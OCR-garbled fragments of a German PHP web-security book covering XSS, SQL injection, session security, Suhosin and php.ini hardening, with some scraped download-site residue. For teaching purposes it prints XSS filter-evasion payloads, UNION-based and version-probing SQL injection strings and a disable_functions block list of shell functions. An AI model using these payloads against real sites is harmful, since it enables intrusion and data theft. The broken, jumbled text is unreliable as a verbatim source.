Sicherheitsma nahmen wie Safe Mode und open_ basedir sind von der Unterst tzung jeder PHP Extension abh ngig Seien Sie sparsam bei der Auswahl der benutzten PHP Extensions nicht alle beachten den Safe Mode Auf dieses und weitere Probleme mit dem PHP Safe Mode werden wir sp ter in diesem Kapitel ein
471. uktor auf eigenen Schadcode umgelenkt werden kann 11 1 3 Schutz vor Format String Schwachstellen Im Jahr 1999 kam eine bis dahin v llig unbekannte Klasse von Sicherheitsl cken in C Progammen aber auch bei anderen meist auf C basierenden Sprachen wie Perl oder PHP auf Diese als Format String Vulnerabilities bekannten Fehler wurden auf dem Chaos Com munication Congress 1999 erstmals der interessierten ffentlichkeit vorgestellt und k nnen sehr unangenehme Ausma e erreichen Das Prinzip von Format String Schwachstellen ist ebenso simpel wie bei Buffer Overflows Funktionen wie printf sprintf vprintf usw erwarten neben der oder den anzuzeigenden Variablen einen zweiten bergabeparameter n mlich die Formatierungsanweisung den Format String Dieser String kann beliebige Zeichen enthalten und benutzt das Zeichen als Platzhalter f r die einzusetzende Zeichen kette Ein Beispiel veranschaulicht dieses Vorgehen var Format Strings printf Dies ist ein Beispiel fuer s Format Strings 2 http lciteseer ist psu edu cowan98stackguard html 11 1 Warum PHP h rten 249 w rde Folgendes ausgeben Dies ist ein Beispiel fuer Format Strings Das Zeichen nach dem Platzhalter bestimmt den Typ der in die Aus gabe einzubettenden Variablen also z B s f r String etc Der Platz halter n stellt eine Ausnahme dar Er sorgt daf r dass die Zahl der bis her ausgegebenen Zeichen in die an diese Stelle plat
472. un ist aber dennoch unverzichtbar Halten Sie sich an Stan dards Wenn Sie HTML Tags mit Attributen versehen verwenden Sie stets einfache oder doppelte Anf hrungszeichen das erschwert die blichen XSS Injections erheblich Geben Sie etwa Werte aus einem Formular nach einer inhaltlichen berpr fung an das folgende Formu lar z B im Fehlerfall oder f r mehrstufige Formulare weiter ohne die Werte in einzuschlie en kann ein Angreifer mit einem Wert wie blah attribut wert neue Attribute hinzuf gen Erhalten Sie Daten vom Benutzer ber ein Formular so ist es nur in den seltensten F llen notwendig dass der Formularinhalt HTML oder Skriptcode enth lt F r Kontakt oder Suchformulare oder die nderung der eigenen Kundendaten ist kein HTML notwendig es kann also schlicht weggeworfen werden PHP kennt hierf r eine Funktion die radikal alles was nach einem HTML Tag eigentlich sogar alles was nach einem SGML Tag aus sieht aus einem String entfernt Diese Funktion heift passenderweise strip_tags ihre zwei Argumente sind der zu bereinigende String sowie alle erlaubten HTML Tags 4 11 Einfache Gegenma nahmen s5l Der String gt lt script gt alert XSS lt script gt ist ein typisches Beispiel f r einen XSS Angriff und w rde ungefiltert daf r sorgen dass ein beliebiges HTML Attribut und das dazugeh rige HTML Tag geschlossen werden Nach der Behandlung mit strip_tags bleibt noch folgende Zeichenkette b
473. ung html vor der Beantwortung durch den Webserver so umgeschrieben wird dass die tats chliche Dateiendung n mlich php angef gt wird Dieses Ver halten ist f r die PHP Anwendung fast vollst ndig transparent und auch f r den Nutzer der Anwendung nicht erkennbar hnlich wie der Webserver f gt PHP zu jeder durch ein PHP Skript bearbeiteten HTTP Anfrage eigene Header hinzu die das Vor handensein der Skriptsprache verraten k nnen Das HTTP Header Feld X Powered By ist ein solcher Header Wenn die php ini Konfigurationsoption expose_php auf on steht wird dieses Header Feld bei jeder Response zur ck an den Client geschickt M chten Sie Ihren Browser f r die Analyse verwenden und haben keine passenden Plugins f r die Anzeige von HTTP Headern so k n nen Sie auch einfach eine spezielle Zeichenfolge an eine beliebige URL anh ngen hinter der Sie ein PHP Skript vermuten Diese Zeichenfolge lautet PHPE9568F34 D428 11d2 A769 00AAOO1ACFA2 Wenn Sie diesen Query String anstelle anderer URL Parameter anf gen und expose_php On gesetzt ist so sehen Sie das PHP Logo Diese sprachinterne Abk rzung um unkompliziert das PHP Logo anzei gen zu k nnen wird u a in phpinfo verwendet und ist nach der Deaktivierung von expose_php nicht mehr aktiv Da bis auf die von Netcraft und anderen Organisationen erstellten Statistiken kein sinnvoller Zweck von expose_php ausgeht sollte man diese Option zumindest auf Produktionssystemen st
474. ung gebracht werden Bei Zip Archiven k nnen schon allein der Upload und das Entpacken gef hrlich sein 9 Variablenfilter mit ext filter Seit PHP 5 2 0 existiert eine dedizierte Extension zum Filtern von Eingabedaten Diese Extension k nnen Sie nutzen um Ihre eigenen Filterfunktionen f r E Mail Adressen URLs aber auch Integerwerte und andere Datentypen zu ersetzen oder zu erweitern 9 1 berblick Mit der wachsenden Beliebtheit von PHP wuchsen auch die Probleme die in PHP Anwendungen durch mangelnde Sicherheits berpr fungen entstanden Die Core Entwickler Derick Rethans Rasmus Lerdorf Ilia Alshanetsky und Pierre Alain Joye nahmen diese Tatsache zum Anlass um eine Extension zu entwickeln mit der PHP Entwickler ein Werkzeug zum richtigen Filtern von Eingabedaten an die Hand bekommen sollten Diese Extension wurde so einfach wie treffend ext filter genannt und befand sich bis PHP 5 2 0 in PECL dem Extension Repository f r PHP Seit PHP 5 2 0 ist ext filter Bestandteil des Quellarchivs von PHP und automatisch bei der Installation akti viert Sie k nnen also sofern Sie die neueste Version von PHP benut zen ohne weiteren Installationsaufwand auf ext filter zugreifen Grunds tzlich ist die Aufgabe von ext filter genau die die der Name suggeriert Eingabedaten aus den f r PHP blichen Kan len also meist GET POST Cookies etc k nnen vorgefiltert aus dem ent sprechenden Scope geholt werden oder wie beliebige a
475. ungewollte Befugniserweiterung zu verhin dern Seiten die keine Authentifizierung erfordern sollten mit einer anderen Session versehen werden und auch keine Informationen ber vertrauliche Daten enthalten Session IDs in einem versteckten Formularfeld Permissive Systeme Restriktive Systeme 174 7 Sessions session save_path Userspezifische Verzeichnisse 73 _ Session Speicherung Das Session System von PHP speichert die Session Daten in der Standardinstallation in dem Verzeichnis das mit session save_path in der Konfigurationsdatei php ini festgelegt wurde Damit es nicht zu ungewollten Seiteneffekten kommt muss jede Applikation ihren eige nen Speicherort f r die Session Daten w hlen Die Speicherung geschieht in einem f r Menschen und auch f r PHP Skripte lesbaren Format n mlich als serialisiertes Array Mit der PHP Funktion unserialize k nnen Sie die in Session Dateien gespeicherten Daten wieder in ein PHP nutzbares Array umwandeln Das kann fatale Folgen haben wenn die Session auf einem Mehrbenut zersystem also auf einem Hostingserver o angelegt wird unter Umst nden hat jeder Benutzer ber das Dateisystem Zugriff auf die Sessiondaten anderer Anwender Sessions k nnen aber auch noch auf andere Arten gespeichert werden im Shared Memory in einer Datenbank Falls die Daten unverschl sselt auf der Festplatte oder in einer Daten bank gespeichert werden kann ein unberechtigter Zugriff
476. urationsdateien vorgesehen hier legen Sie eine leere Datei namens suphp conf an Diese Datei f llen Sie dann mit den folgenden oder hnlichen Werten global logfile usr local apache logs suphp_log docroot home www loglevel info check_vhost_docroot yes errors_to_browser no webserver_user httpd env_path usr bin usr local bin min_uid 1000 min_gid 1000 handlers x httpd php5 php home www cgi php5 x httpd php4 php home www cgi php4 Die Konfigurationsdatei ist in zwei Sektionen aufgeteilt In der ersten mit global berschrieben finden Sie globale Einstellungen wie Log Dateien und Fehlerausgabe Die Beispielinstanz von suPHP wurde so konfiguriert dass bei einem Rechteversto keine Fehler an den Client ausgegeben sondern in die Log Datei unter usr local apache logs suphp_log geschrieben werden Der Client erh lt lediglich einen Feh ler 500 Internal Server Error Die Direktive docroot gibt das unterste Verzeichnis unter dem alle auszuf hrenden Skripte liegen m ssen an Wie bei suExec ist dies meist das Dokumenten Wurzelverzeichnis also var www home www usr local apache htdocs oder hnlich Analog zum Apache eigenen Wrapper erfolgt auch die Konfiguration der PATH Umgebungsvariab len und der minimalen UID GID die f r einen Request gesetzt werden k nnen Der urspr ngliche Webserver Benutzer mit dessen ID suPHP aufgerufen wird muss ebenfalls zwingend in einer Direktive namens webs
477. urity Regeln nicht erkannt wird aber daf r dringt nur eine von 1 000 Aschenbecher Bestellungen nicht bis zu Ihnen vor Da auch ein Modul wie mod_security brandneuen Attacken und Angriffsvektoren nichts entgegenzusetzen hat d rfen Sie sich bei der Gefahrenabwehr sowieso nicht nur auf ein Regelwerk verlassen sei es noch so umfangreich Gem der Maxime Sicherheit ist kein Pro dukt sondern ein Vorgang muss Ihre E Commerce L sung selbst auch Sicherheitsmechanismen implementieren die Angriffe vermeiden mod_security dient hier nur als erster Schutzwall an dem sich die Wellen von Angreifern brechen Verlassen Sie sich nicht auf mod_security allein So funktionieren Regeln in mod_security Um eine berm ige Starrheit zu vermeiden aber trotzdem die Leis tung des Webservers nicht berm ig auszubremsen verwendet mod_security regul re Ausdr cke f r alle Regeln Dieser Quasistan dard f r Stringvergleiche wird in PHP Anwendungen auch des fteren eingesetzt kommt dem PHP Entwickler also sehr entgegen Mit regul ren Ausdr cken lassen sich bestimmte Muster einfach finden und analysieren und auch die blichen Ausweichtechniken wie die Ersetzung von Zeichen oder das Einf gen von zus tzlichen Teilst rings k nnen mit etwas Denkarbeit entdeckt werden Ein grundlegendes Verst ndnis von regul ren Ausdr cken ist zwingend notwendig um beim Einsatz von mod_security Erfolge ver buchen zu k nnen Daher wollen wir in aller
478. uszufinden Bei 20 Anfragen pro Minute dauert dieser Angriff dann rund 49 Stunden Bei mehr als zehn Feldern ist das in keiner rea listischen Zeit mehr zu schaffen Eine einfachere Technik ist die Verwendung des NULL Schl ssel worts NULL kann f r diese Datentypen als Platzhalter verwendet wer den NULL passt auf jeden Datentyp egal ob nun String Number oder Date Es ist m glich eine UNION Injection mit lauter NULL Feldern durchzuf hren und es sollte kein Fehler auftreten wenn die Anzahl der Datenfelder stimmt Nehmen wir unser Beispiel von vorhin und ndern dies ein wenig SELECT ID Name Vorname EMail FROM Users WHERE ID 1110344 AND status Active Der einzige Unterschied ist dass wir statt eines Feldes nun mehrere auslesen wollen Angenommen ein Angreifer hat bereits die richtige Anzahl der Felder ermittelt vier in unserem Beispiel dann ist es f r ihn einfach ein g ltiges UNION SELECT mit NULL Werten einzuschleusen Diese Injection kann wie folgt aussehen 1110344 UNION SELECT NULL NULL NULL NULL FROM Users WHERE 1 2 Somit hat unser SQL Statement folgendes Aussehen SELECT ID Name Vorname EMail FROM Users WHERE ID 1110344 UNION SELECT NULL NULL NULL NULL FROM Users WHERE 1 2 AND status Active Dieses SQL Statement hat nur das eine Ziel ein Funktionieren der Syntax sicherzustellen Falls hier kein Fehler oder ein ungew hnliches Verhalten der Applikation auftritt ist dieses Ziel erreicht Nun ist es einf
479. uthentisierung und Authentifizierung Dictionary Attacke Um die M glichkeit des Erratens m glichst zu minimieren sollten Sie entweder wenn der Benutzername ausschlie lich f r den Login ben tigt wird und weder in Foren noch Community Seiten oder Mail adressen auftauchen soll alle Benutzernamen automatisch vergeben oder den Nutzer anhalten einen eindeutigen Namen festzulegen Da ber Social Engineering Benutzernamen meist leicht ermittelt werden k nnen ist dies kein besonders wirksamer Schutz dennoch macht es kaum Arbeit auch bei der Auswahl der Benutzernamen auf Sicherheit zu achten Vergeben Sie keine leicht zu ermittelnden Benutzernamen 6 2 4 Sichere Passw rter Auch mit Passw rtern verh lt es sich hnlich wie mit Benutzernamen Der Administrator sollte einen gangbaren Kompromiss zwischen der Sicherheit der Passw rter und dem Benutzerkomfort finden L sst man den Benutzer sein Passwort komplett in Eigenregie bestimmen kom men dabei oft Passw rter wie die folgenden heraus sie sind alle einer Real Life Anwendung mit mehreren Hundert Kunden entnommen asdf 0000 24680 13570 abcde 666 All diese Passw rter sind mit einer sogenannten Dictionary Attacke sehr leicht zu ermitteln Bei einem solchen Angriff probiert der Angrei fer ein komplettes W rterbuch mit h ufig benutzten Passw rtern und gebr uchlichen Begriffen in der jeweiligen Landessprache durch bis er die verwendeten Daten findet In PHP 4 g
480. w_url_ include auf on oder off gestellt werden s he also in einer php ini Datei so aus allow_url_include off 10 8 10 register_globals Eigentlich ist ber diese wohl bekannteste aller Konfigurationseinstel lungen an anderer Stelle schon genug ge u ert worden hier soll register_globals nur der Vollst ndigkeit halber erw hnt werden Die aus Kompatibilit tsgr nden oft noch aktivierte Option dient dazu die eigentlich in den superglobalen Arrays _GET und _POST enthaltenen Request Variablen in globale Variablen zu extrahieren und dass das bei nachl ssig programmierten Skripts zu Sicherheitsproblemen f hrt ist sattsam bekannt Von register_globals als einer Sicherheitsl cke an sich zu sprechen ist aber trotzdem Unsinn auch wenn viele angebliche Sicherheitsexperten derartige Aussagen verbreiten nicht die Sprache erzeugt die L cken sondern der Entwickler Seit PHP 4 2 0 und in allen Ausgaben von PHP 5 ist register_glo bals standardm ig ausgeschaltet und das sollte es in der Regel auch bleiben Die gro e Mehrheit aller PHP Anwendungen ist kompatibel zu den superglobalen Request Arrays und neu entwickelte Projekte sollten dies auch immer sein 10 9 Code Sandboxing mit runkit Einen weiteren interessanten Ansatz verfolgt die recht neue Extension runkit die unter PHP 5 1 oder neueren Versionen l uft jedoch Thread Safety siehe Glossar ben tigt Mit dem objektorientierten Interface von runkit k nnen Sie PH
481. wartet eine kom maseparierte Liste von Funktionen und kann ausschlie lich in php ini stehen Eine getrennte Konfiguration f r jeden VirtualHost ist wie oben erw hnt leider nicht m glich Ein Beispiel k nnte so aussehen disable_functions pentl_exec system shell_exec mysql_pconnect posix_setuid posix_seteuid 226 10 PHPintern 10 8 3 disable_classes Ganz hnlich zu disable functions k nnen Sie mit der Direktive disable_classes die Verwendung bestimmter Klassen untersagen da mit PHP 5 mehr und mehr PHP Extensions ein objektorientiertes Interface bieten wurde diese Option n tig um Sicherheitsprobleme mit objektorientierten Extensions zu vermeiden Die Direktive erwar tet eine mit Kommata separierte Liste von zu deaktivierenden Klassen z B disable_classes mysqli simplexml 10 8 4 max_execution_time Dieser Parameter bestimmt wie lange ein PHP Skript ausgef hrt wer den kann und wie lange folglich die ausf hrende PHP oder Apache Instanz f r andere Aufgaben blockiert bleibt Der Standardwert von 60 Sekunden ist f r viele Anwendungen in Ordnung falls Sie aber gro e Dateien per PHP manipulieren m ssen Sie hier eventuell noch Anpassungen nach oben vornehmen Sie sollten jedoch ein vern nfti ges Ma wahren extrem hoch eingestellte maximale Ausf hrungszei ten k nnen n mlich auch dazu f hren dass versehentlich erzeugte Endlosschleifen wesentlich l nger ausgef hrt werden und so System ress
482. wort Safe zu speichern der auch Wallet oder hn lich genannt werden kann Nachdem Sie in einem solchen Safe einmal Ihre Benutzerdaten hinterlegt haben brauchen Sie sich beim n chsten Login nicht mehr an diese zu erinnern Ihr Webbrowser tr gt die Daten automatisch f r Sie ein F r Leute mit Ged chtnisschwierigkei ten wie der Autor dieses Kapitels ist dieses Feature eine Wohltat allerdings kann es XSS Angriffe massiv versch rfen Die gespeicherten Passw rter werden n mlich im Passwort Safe im Klartext hinterlegt und automatisch in das jeweilige Formularfeld eingef gt Auch dort stehen sie stets im Klartext obgleich Passwort felder durch maskiert erscheinen und sind somit per DOM auslesbar Findet ein Angreifer ein XSS Problem in einer Anwendung reicht es aus das Opfer mittels eines pr parierten Links auf die jewei lige Login Seite pr pariert mit etwas JavaScript zu locken um deren Login Daten zu bekommen F r Sie als verantwortungsvollen Nutzer sollte das bedeuten dass Sie zum einen auf die Verwendung von Passwort Safes und Autover vollst ndigen Optionen verzichten aber auch dass Sie deren Benut zung m glichst bei Ihren Projekten unterbinden sollten Das k nnen Sie zum Beispiel durch dynamisch benannte Formularfelder bei Login Formularen erreichen 4 5 Formularvervollst ndigung verhindern ssl Eine weitere Gefahr f r Nutzer des Internet Explorer geht von des sen F higke
483. www php sicherheit de include Bei manchen schlecht konfigurierten Servern ist es so m glich auf Bereiche zuzugreifen die normalerweise geht der Anwender den vom Betreiber beabsichtigten Weg ber die Website selber durch ein Authentifizierungsformular gesch tzt sind Inhalte die auf dem Web server z B in Form von durch das Haupt PHP Skript zu inkludieren den Textdateien hinterlegt sind k nnen so eventuell aufgerufen und die Authentifizierung und Autorisierung umgangen werden Diese Art von Informationsgewinnung wird aber in der Log Datei des Webservers mitprotokolliert und kann eventuell zur ckverfolgt werden Auch Intrusion Detection Systeme erkennen diese Angriffe und alarmieren dementsprechend den zust ndigen Administrator 2 8 Kommentare aus HTML Dateien In den HTML Quelltexten k nnen sich nicht nur Pfade auf bestimmte Dateien befinden sondern auch Kommentare Diese Kommentare k nnen Aufschluss ber installierte Applikationen geben oder auch s 2 Informationsgewinnung Beispiele f r HTML Kommentare Hinweise des Entwicklers sein die er zu entfernen verga als er sein Webprojekt online stellte lt DB Hostname db php sicherheit de User testl Password tester0l _ gt lt phpBB Version 2 0 gt lt MyGuestbook 0 8 1 gt Sie werden wom glich denken dass Datenbankzugangsdaten in einem HTML Kommentar zu weit hergeholt seien aber dieses extreme Bei spiel ist den Autoren
484. ytes die allerdings von PHP unter Umst nden gefiltert werden las sen ein Skript Tag an manchen Filtern vorbei lt script gt alert xss lt script gt lt script gt x XSS alert x source lt script gt lt SCR 0IPT gt alert XSS lt SCR OIPT gt Auf Browsern der Internet Explorer Familie wird JavaScript auch in Bildreferenzen ausgef hrt lt img src javascript alert xss gt Mit diesem XSS lassen sich viele Forensysteme die BBCode o verwen den austricksen wenn die Pr fung auf eine g ltige Bilddatei im lt img gt Tag nicht korrekt implementiert wurde In verschiedenen Variationen mit und ohne Anf hrungszeichen um das src Attribut mit HTML codierten Anf hrungszeichen im Aufruf der Alert Funktion k nnen weitere Filter berlistet werden 1 http ha ckers org xss html Variationen eines Standardbeispiels XSS in Bild Links 92 4 Cross Site Scripting Tricks mit UTF 8 Andere Codierungen JavaScript Eventhandler lt img sre javascript alert xss gt lt img sre javascript alert Aquot XSS quot gt lt img sre JaVaScRipT alert amp quot XSS amp quot gt Mit UTF 8 Codierung lassen sich Filter die auf Ausdr cke wie java script pr fen austricksen Der String javascript k nnte komplett in UTF 8 codiert werden und w rde somit zu amp x6A amp x61 amp x76 amp x61 8 amp x73 amp x63 amp x72 amp x69 amp x70 8 x74 PHP erkennt diese Zei chenkette ni
485. z anderen Umgebung aus gef hrt werden Das beste Beispiel hierf r sind die bekannten Cross Site Scripting bzw XSS L cken bei denen ein Angreifer auf einer f r das Opfer ver trauten Webseite dem vertrauensw rdigen Kontext seinen eigenen Schadcode meist in Form von Java oder ActiveScript platziert ber L cken in der Eingabevalidierung ist das bei vielen Anwendungen lei der ohne Weiteres m glich Der Browser des Opfers h lt diesen Schad code f r legitim da er auf einer legitimen Seite auftaucht und f hrt ihn aus Dank des sehr m chtigen Document Object Model DOM ist es mit JavaScript dann m glich das Aussehen und Verhalten einer angegriffenen Seite fast beliebig zu ver ndern Cross Site Request Forgery CSRF das wir ebenfalls in diesem Kapitel behandeln werden ist eine hnlich t ckische aber etwas unbekanntere Sicherheitsl cke Hier sorgt der Angreifer daf r dass ber eine von ihm gestellte Falle kein JavaScript Code im Browser des XSS CSRF s2 4 Cross Site Scripting Opfers sondern in dessen Namen eine Aktion auf einer Website ausge f hrt wird So k nnen praktisch ohne Spuren zu hinterlassen Kon todaten und Passw rter ge ndert oder andere f r das Opfer sch dliche Handlungen ausgef hrt werden Beiden Angriffstypen ist gemein dass ein Opfer das stets ein Mensch ist mit ihrer Hilfe Code ausf hrt der eigentlich nicht h tte ausgef hrt werden sollen Cross Site Angriffe r
486. zeichnis auch mittels eines selbst entwickelten Skriptes l schen das ber einen Cronjob auf gerufen wird Cron sorgt daf r dass Skripte zu einer vorgegebenen Zeit automatisch ausgef hrt werden Dazu muss keine Aktion eines Benutzers erfolgen sondern lediglich die Zeit des letzten Zugriffs mit hilfe eines PHP Skriptes ausgelesen werden und diese Session Datei gel scht werden sobald eine bestimmte Zeit berschritten wurde Dies ist eine unabh ngige Ma nahme gegen ber dem Garbage Collector des PHP Session Systems PHP wird so gezwungen die Session neu zu generieren und die Daten in der Session sind sicher gel scht F r Win dows gibt es das Werkzeug Windows Scheduler oder Geplante Tasks 79 3 _ Session ID aus dem Referrer l schen Wird die Session ID an die URL angef gt muss bei Verlassen einer Seite darauf geachtet werden dass eine ordnungsgem e Abmeldung aus einem eventuellen privaten Bereich stattfindet Ansonsten wird die Session ID im Referrer an die n chste fremde Seite bertragen Der Referrer ist wie bereits zuvor erw hnt eine Servervariable in der die URL der letzten Seite gespeichert wird Hier erfolgt eine Speiche rung komplett mit Query String Wenn sich in diesem Query String eine Session ID befindet und es ist keine Abmeldung auf der vorher gehenden Seite erfolgt kann die Session mithilfe dieser Session ID bernommen werden Hierzu kann ein Skript geschrieben werden das diese Aufgabe automatisch e
487. zernamen und Kennungen 151 6 2 4 Sichere Passw rter 2 2 2222 ceeeeeeeee en 152 6 2 5 _ Passwort Sicherheit bestimmen 155 6 2 6 Vergessene Passw rter 222222 eeeeeee nn 158 6 3 Authentifizierungssicherheit 222222 ccecee 163 6 3 1 Falsche Request Methode 163 6 3 2 Falsche SQL Abfrage 222222220 164 6 3 3 SQL Injection 22 22 cceeeeeeeeee een 165 6 3 4 RSS ee Me a N E 165 6 4 Spamvermeidung mit CAPTCHASs 222 166 6 5 Fazit nn Dh 170 7 Sessions 171 71 Grundlagen ia ennea e p ii a a a E EEE 171 7 2 Permissive oder strikte Session Systeme 2 2222 173 7 3 Session Speicherung 2 222eceeeeeeeene nenn 174 7 4 Schwache Algorithmen zur Session ID Generierung 177 TS Session Timeout na EE a E a 178 7 6 Bruteforcing von Sessions ssns usu esene sneen 179 7 7 Session Hijacking sssnunusunnannn nanne 180 78 Session Fixation cereri seinri orarie Ehre a ketna 182 7 9 Zus tzliche Abwehrmethoden 22csc 0 0 182 7 9 1 Page Ticket System 2 222222 eceeeeeeen nn 182 7 9 2 Session Dateien mittels Cronjob l schen 184 7 9 3 Session ID aus dem Referrer l schen 184 7 10 Fazit en es Fa E YE 185 8 Upload Formulare 187 8 1 Grundlagen 2222eccnseeeseneeseenennnn 187 8 2 Aufbau eines Upload Formulars 2 2 22 220 0 187 8 3 PHP interne Verarbeitung 222222 ceeeeeenn 188 8 4 Speicherung der hochgeladenen Dateien
488. zierte Variable geschrieben wird Ist es einem Angreifer m glich den Format String gegen eine eigene Zeichenkette auszutauschen kann er auf diese Weise beliebige Zeichen an fast beliebige Speicherpositionen schreiben Dadurch ist nicht nur die Ausgabe sensitiver Inhalte n mlich bestimmter Speicherbereiche sondern mit etwas Bastelarbeit seitens des Angreifers sogar die Ausf hrung eigenen Schadcodes m glich PHP verwendet in seinem C Quellcode eigene Varianten von sprintf die den n Platzhalter ebenso implementieren obschon er f r PHP und allen bekannten Extensions berhaupt nicht ben tigt wird W hrend der Entwicklung der ersten Version von Hardened PHP fiel berdies auf dass er nie richtig implementiert war Die konse quente L sung des Suhosin Patch besteht nun darin n aus der PHP eigenen sprintf Funktion zu entfernen und zus tzlich s mtliche Auf rufe fremder sprintf Implementierungen unter Unix die der auf dem System benutzten libc auf die PHP eigene und vom Suhosin Patch reparierte Funktion umzuleiten 11 1 4 Simulationsmodus W hrend die Schutzma nahmen des Suhosin Patch nur beim akuten Auftreten von Fehlern innerhalb des PHP Kerns anschlagen daher also keinen negativen Einfluss auf die Skriptausf hrung haben k n nen besteht bei der Suhosin Extension je nach Konfiguration die M glichkeit dass ihre Schutzma nahmen zu Fehlern innerhalb von Applikationen f hren Aus diesem Grund existiert der Simulat
489. zu bleiben andererseits er ffnen diese Optionen Angreifern die M glichkeit f r diese Zeit des Eingeloggt bleiben beliebige Attacken wie Brute Force Angriffe oder Erraten von Session IDs durchzuf hren Diese Optionen werden mit Cookies auf dem Client realisiert die eine bestimmte Lebensdauer haben Hat ein Angreifer erfolgreich eine Session ID erraten kann er sich ein identisches Cookie erstellen und ist bei Aufruf der Applikation automatisch in dieser eingeloggt Das Vorhandensein einer solchen Option oft bei Webforen zu finden kann ein Indiz daf r sein dass diese Applikation auf diese Art angreifbar ist Gibt es einen solchen Mechanismus nicht kann ein JavaScript Refresh in einer Seite auf einen l ckenhaften Session Mechanismus hindeuten Dieser wird dazu genutzt die G ltigkeit der Session durch einen erneuten Request zu erhalten Ebenso sind zu lange eingestellte Session Timeouts in der Konfiguration von PHP eine potenzielle Schwachstelle Die G ltigkeit von Sessions kann man durch die Einstellung session gc_maxlifetime ndern Hier kann eine Einstellung in Sekunden festgelegt werden um zu bestimmen ab wann eine Session als Abfall angesehen wird und durch die eingebauten Mechanismen von PHP gel scht wird Eine Session sollte f r hoch sensitive Anwendungen nicht l nger als f nf Minuten g ltig sein etwa bei Anwendungen die pers nliche Daten der Anwender verarbeiten Ma nahmen um die Lebensdauer einer S
490. zu fragen Sie seinen Benutzerna men ab und verwenden die in der Datenbank zu diesem Benutzer gespeicherte E Mail Adresse Wenn Sie aufgrund Ihres Datenbankde signs sicher sind dass eine E Mail Adresse auch nur von einem Benut zer verwendet werden kann k nnen Sie auch die Mailadresse als ein deutiges Identifikationsmerkmal benutzen Die von Ihnen versandte Mail sollte jedoch nie bereits ein Passwort enthalten weder das alte das kennen Sie ja dank Hashing selber nicht noch ein von Ihnen vergebenes neues Passwort Warum Zum einen wird E Mail praktisch immer unverschl sselt bertragen und falls Angreifer Ihre oder die Leitung Ihres Kunden abh ren gelangen sie so an die Zugangsdaten f r Ihren Service Au erdem k nnte so ein St renfried der die E Mail Adresse oder den Benutzernamen eines Ihrer Anwender herausbekommen hat die sen so vor bergehend von der Benutzung Ihrer Website abhalten indem er ein neues Passwort anfordert W rde das Passwort sofort bei Anforderung ge ndert so k nnte ein Nutzer der sein Mailkonto nicht 6 2 Authentisierungssicherheit h ufig berpr ft sich so lange nicht mehr einloggen bis er die an ihn gesandte E Mail mit dem neuen Passwort f nde Die bessere L sung ist eine Art Challenge Response Verfahren Dieser Begriff der seinen Ursprung im Milit r hat bedeutet prinzipiell nichts anderes als Frage und Antwort W hrend der Invasion in der Normandie im Zweiten Weltkrieg verwendeten
491. zu verursachen Dies funktioniert nur wenn die php ini Konfi gurationsoption display_errors auf on steht Hier ein Beispiel mysql error You have an error in your SQL syntax Check the manual that corresponds to your MySQL server version for the right syntax to use near OR postid IN 42 260 264 272 347 485 Anhand dieser Fehlermeldung kann nun auch auf die verwendete Datenbank geschlossen werden in diesem Beispiel MySQL Mit versionsabh ngigen SQL Abfragen die Datenbank ermitteln Die Versionsnummer der MySQL Datenbank zu ermitteln ist relativ einfach wenn man eine entsprechende Schwachstelle in einer Webapplikation findet Beispiel SELECT name FROM users WHERE id _GET id 2 6 Datei Altlasten rl In diese SQL Query wird eine ungepr fte GET Variable id eingef gt und an die Datenbank gesendet Diese SQL Abfrage ist somit anf llig f r eine SQL Injection und das bedeutet dass ein Angreifer eigene sch dliche SQL Befehle direkt in eine SQL Abfrage einschleusen kann In unserer SQL Abfrage gibt eine Eingabe von id 0 xxxxx 205 bei korrekter Versionsnummer keinen Fehler Unknown column aus xxxxx steht hierbei f r die Versionsnummern Um die Version 4 0 18 zu erkennen w rde ein Kommentar id 0 40018 20s den gew nschten Erfolg bringen die mittlere Versionsnummer muss zweistellig sein Handelt es sich bei der installierten Version tats ch lich um eine MySQL Datenbank 4 0 18 so gibt

Download Pdf Manuals

image

Related Search

Related Contents

JVC KD-AHD69 Specification Sheet  CnMemory 69124 external hard drive  説明書  LIBRETTO ISTRUZIONI  Árvores de decisão - Palisade Corporation  warning - HIGH RENT  Manuel d`utilisation  取扱い説明書(PDF)はこちら  Carrera Startlight  

Copyright © All rights reserved.
Failed to retrieve file